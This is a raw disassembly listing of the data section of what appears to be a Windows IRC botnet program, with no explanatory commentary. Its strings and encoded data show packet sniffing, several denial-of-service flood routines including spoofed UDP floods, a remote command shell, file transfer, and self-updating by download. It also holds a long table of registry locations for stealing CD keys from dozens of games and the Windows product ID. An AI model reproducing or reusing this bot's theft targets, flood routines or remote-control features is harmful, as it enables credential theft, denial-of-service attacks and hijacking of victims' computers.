aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FB+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FB+5o
		align 4
unk_43598C	db  2Dh	; -		; DATA XREF: sub_412660+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4359C4	db  2Dh	; -		; DATA XREF: sub_412660+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4359FC	db  2Dh	; -		; DATA XREF: sub_412660+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A30	db  2Dh	; -		; DATA XREF: sub_412660+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A64	db  2Dh	; -		; DATA XREF: sub_412660+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A98	db  2Dh	; -		; DATA XREF: sub_412660+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_435AC8	db  2Dh	; -		; DATA XREF: sub_412660+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_435B1C	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B08+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_435D44	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386B+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_436134	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415134+35o
dword_436148	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415134+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o
		align 10h
dword_436180	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524C:loc_415281o
dword_436194	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524C+20o
dword_4361A8	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415369o
		dd 6574656Ch, 0
dword_4361C4	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:004152CCo
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BC+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F7+23o
					; sub_4157F0+26o
		align 10h
		dd 80000001h
off_4361F4	dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr
					; sub_415A2F+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_436200	dd 2 dup(0)		; DATA XREF: sub_415A2F+26o
		dd 80000001h, 437384h, 437378h,	437368h, 2 dup(0)
		dd 80000001h, 437348h, 437344h,	437330h, 2 dup(0)
		dd 80000001h, 43730Ch, 437344h,	437300h, 2 dup(0)
		dd 80000001h, 4372DCh, 4372D4h,	4372C0h, 2 dup(0)
		dd 80000001h, 4372ACh, 43729Ch,	437280h, 2 dup(0)
		dd 80000001h, 43723Ch, 4373C4h,	437228h, 2 dup(0)
		dd 80000002h, 4371FCh, 4371F0h,	4371D0h, 2 dup(0)
		dd 80000002h, 43719Ch, 4373C4h,	437184h, 2 dup(0)
		dd 80000002h, 437150h, 4373C4h,	437138h, 2 dup(0)
		dd 80000002h, 437120h, 4373C4h,	437108h, 2 dup(0)
		dd 80000002h, 4370CCh, 43D128h,	4370BCh, 2 dup(0)
		dd 80000002h, 437084h, 43D128h,	437070h, 2 dup(0)
		dd 80000002h, 437024h, 43D128h,	437004h, 2 dup(0)
		dd 80000002h, 436FB4h, 43D128h,	436F88h, 2 dup(0)
		dd 80000002h, 436F4Ch, 43D128h,	436F38h, 2 dup(0)
		dd 80000002h, 436F00h, 43D128h,	436EF0h, 2 dup(0)
		dd 80000002h, 436EA0h, 43D128h,	436E74h, 2 dup(0)
		dd 80000002h, 436E34h, 43D128h,	436E18h, 2 dup(0)
		dd 80000002h, 436DE8h, 43D128h,	436DC8h, 2 dup(0)
		dd 80000002h, 436D8Ch, 43D128h,	436D78h, 2 dup(0)
		dd 80000002h, 436D30h, 43D128h,	436D10h, 2 dup(0)
		dd 80000002h, 436CBCh, 43D128h,	436C8Ch, 2 dup(0)
		dd 80000002h, 436C3Ch, 43D128h,	436C10h, 2 dup(0)
		dd 80000002h, 436BD0h, 436BC8h,	436BA8h, 2 dup(0)
		dd 80000002h, 436B64h, 43D128h,	436B48h, 2 dup(0)
		dd 80000002h, 436AFCh, 43D128h,	436AD8h, 2 dup(0)
		dd 80000002h, 436AA4h, 43D128h,	436A98h, 2 dup(0)
		dd 80000002h, 436A64h, 43D128h,	436A58h, 2 dup(0)
		dd 80000002h, 436A24h, 43D128h,	436A18h, 2 dup(0)
		dd 80000002h, 4369E4h, 43D128h,	4369D8h, 2 dup(0)
		dd 80000002h, 43699Ch, 43D128h,	436988h, 2 dup(0)
		dd 80000002h, 43694Ch, 43D128h,	436938h, 2 dup(0)
		dd 80000002h, 436908h, 4373C4h,	4368ECh, 2 dup(0)
		dd 80000002h, 4368CCh, 4368C4h,	4368A0h, 2 dup(0)
		dd 80000002h, 436884h, 4368C4h,	436864h, 2 dup(0)
		dd 80000002h, 436844h, 4368C4h,	436820h, 2 dup(0)
		dd 80000002h, 436808h, 4368C4h,	436804h, 2 dup(0)
		dd 80000002h, 4367E8h, 4367D8h,	4367D0h, 2 dup(0)
		dd 80000002h, 43679Ch, 42C218h,	436784h, 2 dup(0)
		dd 80000002h, 436748h, 43673Ch,	436714h, 436704h, 4366F0h
		dd 80000002h, 4366CCh, 4366C0h,	4366ACh, 43669Ch, 436694h
		dd 80000002h, 4366CCh, 4366C0h,	436668h, 43669Ch, 436660h
		dd 80000002h, 4366CCh, 4366C0h,	436630h, 43669Ch, 436628h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 10h
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 10h
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 10h
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 10h
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 10h
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 10h
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 10h
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 10h
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 10h
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 10h
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 10h
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 10h
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004361FCo
aCdkey		db 'CDKey',0            ; DATA XREF: ___:004361F8o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4361F4o
		align 4
asc_4373F4:				; DATA XREF: sub_415A2F+E9o
					; sub_415A2F+F4o
		unicode	0, <=>,0
dword_4373F8	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A2F+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437474	db  2Dh	; -		; DATA XREF: ___:00415F17o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
dword_437498	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Co
					; ___:00416312o
		dd 726F72h
unk_4374B0	db  2Dh	; -		; DATA XREF: ___:00416114o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_4374DC	db  2Dh	; -		; DATA XREF: ___:0041601Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 10h
dword_437500	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE5o
		dd 74756Fh
dword_437518	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F84o
		dd 169h
unk_437530	db  2Dh	; -		; DATA XREF: ___:00415F41o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 10h
unk_437550	db  2Dh	; -		; DATA XREF: ___:00415E9Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_437574	db  2Dh	; -		; DATA XREF: ___:00415E5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 4
unk_437598	db  2Dh	; -		; DATA XREF: ___:0041638Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_4375C4	db  2Dh	; -		; DATA XREF: ___:00416287o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_4375E4	db  2Dh	; -		; DATA XREF: ___:00416267o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 10h
aAB		db 'a+b',0              ; DATA XREF: ___:00416253o
unk_437614	db  2Dh	; -		; DATA XREF: ___:0041623Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_437644	db  2Dh	; -		; DATA XREF: ___:0041688Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_437670	db  2Dh	; -		; DATA XREF: ___:0041687Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_4376A4	db  2Dh	; -		; DATA XREF: ___:004167C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
dword_4376E8	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416751o
		dd 25206465h, 73h
unk_437704	db  2Dh	; -		; DATA XREF: ___:004166DAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_43773C	db  2Dh	; -		; DATA XREF: ___:0041665Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_437764	db  2Dh	; -		; DATA XREF: ___:004165D1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 10h
unk_437790	db  2Dh	; -		; DATA XREF: ___:0041658Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_4377B8	db  2Dh	; -		; DATA XREF: ___:0041657Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 10h
unk_4377E0	db  2Dh	; -		; DATA XREF: ___:00416470o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A1:loc_4169E4o
					; sub_418EF6+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A1:loc_4169DEo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A1:loc_4169D8o
		align 10h
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A1:loc_4169D2o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A1:loc_4169CCo
		align 10h
off_437830	dd offset word_4D4152	; DATA XREF: sub_4169A1:loc_4169C6o
word_437834	dw 3Fh			; DATA XREF: sub_4169A1+1Fo
					; sub_41AA42:loc_41AB44r
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_416A32:loc_416B10o
					; sub_416B56+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_416A32+6Co
		align 4
unk_437848	db  2Dh	; -		; DATA XREF: sub_416B56+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_437884	db  2Dh	; -		; DATA XREF: sub_416B56+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_416C28:loc_416C6Do
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_437930	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417093o
		db 3, 34h, 2
		db  66h	; f
